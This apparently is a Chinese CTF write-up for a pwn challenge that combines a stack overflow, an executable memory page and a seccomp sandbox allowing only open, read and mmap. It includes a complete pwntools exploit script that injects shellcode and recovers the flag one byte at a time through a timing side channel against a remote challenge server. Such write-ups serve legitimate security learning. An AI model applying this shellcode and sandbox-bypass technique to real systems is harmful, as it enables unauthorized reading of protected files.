先看一下主函数
s 数组存在溢出
并且读入 s 的内容会被 cp 到 buff
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
对包含标准输出结构体 stdout 的内存页,设置它的权限为可读、可写、可执行
buff 所在地址可读可写可执行
正常这道题直接打 ret2shellcode
但是这里存在沙箱
代码详细分析:
v1 = seccomp_init(0LL);
初始化一个 seccomp 过滤器上下文
seccomp_init(0LL) 等价于 seccomp_init(SCMP_ACT_KILL)
默认行为是:阻止(杀死)所有系统调用
seccomp_rule_add(v1, 2147418112LL, 9LL, 0LL); // mmap
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL); // read
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL); // open
2147418112LL == 0x7fff0000 == SCMP_ACT_ALLOW
,表示 允许这些调用
syscall | 名称 | 功能 |
---|---|---|
0 | read | 读数据 |
2 | open | 打开文件 |
9 | mmap | 映射内存 |
seccomp_load(v1);
加载规则 → 正式启用沙箱过滤
那么我们这里就无法系统调用 execve
如果直接打 ret2shellcode 会触发 `SIGSYS`(signal 31),表示:
非法的系统调用被执行,因为系统调用被拦截、限制
那么我们就需要采用其他方法,比如侧信道攻击
看了一下这里确实只允许 `read`、`open`、`mmap`
侧信道攻击(Side Channel Attack)并不依赖正常程序逻辑的漏洞,而是通过观察程序的行为差异(如时间、电量、声音)间接获取敏感信息。
在 Pwn 方向中,最常用的是:
-
时间侧信道:观察执行时间的长短判断是否进入某个死循环,从而验证猜测是否正确。
-
非预期反馈路径:程序通过死循环、崩溃与否、是否回显等行为间接泄露内部状态。
类似于 Web 里面的 SQL 盲注
整体利用思路:
构造 shellcode,注入程序中并使其可执行;
调用 open
打开 flag
文件,获取文件描述符;
使用 read
将 flag 内容读入一段可读写的内存区域(如 stack
, .bss
, 或 mmap
);
构造一段 用于逐字节比较 flag 的 shellcode,实现爆破。
编写 exp:
# @author:My6n
# @time:20250605
from pwn import *
import time
import string
context(os='linux', arch='amd64', log_level='debug')
dic = list(string.printable.encode())
flag = ''
idx = 0
#idx = len(flag)
read_addr = 0x404000
buff_addr = 0x404060
shellcode_template = """
mov rdx, rsi
cmp byte ptr [rdx + {offset}], {char}
jz $-0x4
mov al, 59
syscall
"""
while True:
for guess in dic:
io = remote('node5.anna.nssctf.cn', 21887)
compare_code = shellcode_template.format(offset=idx, char=guess)
payload = asm(
shellcraft.open('flag') +
shellcraft.read(3, read_addr, 0x30) +
compare_code
)
payload = payload.ljust(264, b'a') + p64(buff_addr)
io.send(payload)
start = time.time()
io.can_recv(timeout=2)
end = time.time()
io.close()
print(f"Trying idx={idx} char={chr(guess)} | Current flag: {flag}")
if end - start > 2:
flag += chr(guess)
print(f"[+] Found char at idx {idx}: {chr(guess)}")
break
if flag.endswith('}'):
break
idx += 1
print(f"[+] Final flag: {flag}")
拿到 flag:
nssctf{S1d3_ch@nn3l_bl@st1ng_t0_g3t_fl4g}